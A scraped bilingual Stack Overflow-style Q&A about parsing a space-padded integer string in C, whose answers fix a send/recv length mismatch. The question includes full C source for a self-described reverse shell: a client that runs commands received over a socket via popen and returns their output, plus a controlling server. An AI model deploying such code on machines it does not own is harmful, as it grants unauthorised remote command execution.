简体   繁体   English

如何在 C 中将字符串转换为 integer 并带有尾随空格(并且没有 atoi)?

[英]How to turn string to integer in C with trailing whitespace (and without atoi)?

I would like to convert a string to an integer, but the string will have a whitespace (maximum 9 characters).我想将一个字符串转换为 integer,但该字符串会有一个空格(最多 9 个字符)。 Here is an example of what I'm trying to do:这是我正在尝试做的一个例子:

char* pointer = (char *) malloc(10);
int num = 10, newnum;
sprintf(pointer, "%10d", num);
//Convert pointer to integer here, assign it to newnum variable;
printf("New integer is: %d", newnum);

Output: Output:

New integer is 10

I have tried using the atoi function but it is returning zero every time for some reason.我曾尝试使用atoi function 但由于某种原因它每次都返回零。 If you need me to include the code in which it is returning zero, I'd be happy to do so, as this could very much be my error and not on the function.如果您需要我包含返回零的代码,我很乐意这样做,因为这很可能是我的错误,而不是 function。 Here is the code (this is a reverse shell, so there is a client and a server, the problem is in the server, but it could be the client, I don't know): Server下面是代码(这是一个反向的shell,所以有客户端和服务器,问题出在服务器,但可能是客户端,我不知道):服务器

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    ssize_t size;
    int i, length;

    while (1){
        char * command = (char *) malloc(75);
        char * output = (char * ) malloc (10001);
        char* lengths = (char *) malloc(11);
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        recv(client, lengths, 11, 0);
        printf("Length: %s\n", lengths);
        length = atoi(lengths);
        printf("%d", length);
        recv(client, output, length+1, 0);
        printf("%s\n",  output);
        free(command);
        free(output);
        free(lengths);
    }
    return 0;
}

Client客户

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));
    int commandlen;

    while (1){
        char* command = (char *) malloc(75);
        char* output = (char *) malloc (5000);
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *(command+1) == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            }
        }else{
            char* fullmsg = (char *) malloc(10001);
            char* length = (char *) malloc(11);
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                strcpy(fullmsg+(strlen(fullmsg)), output);
            }
            sprintf(length, "%10zu", strlen(fullmsg));
            send(sock, length, 11, 0);
            send(sock, fullmsg, 10001, 0);
            pclose(cmd);
            free(length);
            free(fullmsg);
        }
        free(output);
        free(command);
    }
    return 0;
}

There are many problems in your code.你的代码有很多问题。 To start with, you did not point pointer to any valid memory, so attempt to write into the memory will invoke undefined behaviour .首先,您没有将pointer任何有效的 memory,因此尝试写入 memory 将调用未定义的行为 You must make the pointer point to a valid block of memory long enough to hold the final result.您必须使pointer指向 memory 的有效块足够长以保存最终结果。

That said, you should check for the return value of the function call (specially library functions) to ensure they are successful, before using the return value / buffers filled by them.也就是说,在使用返回值/由它们填充的缓冲区之前,您应该检查 function 调用(特别是库函数)的返回值以确保它们成功。

The problem is that the client sends more data than the server reads:问题是客户端发送的数据多于服务器读取的数据:

In client code:在客户端代码中:

send(sock, fullmsg, 10001, 0);

In server code:在服务器代码中:

recv(client, output, length+1, 0);
                     ^^^^^^^^
                     Less than 10001

The client should only send the valid bytes - something like:客户端应该只发送有效字节 - 比如:

send(sock, fullmsg, strlen(fullmsg) + 1, 0);

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM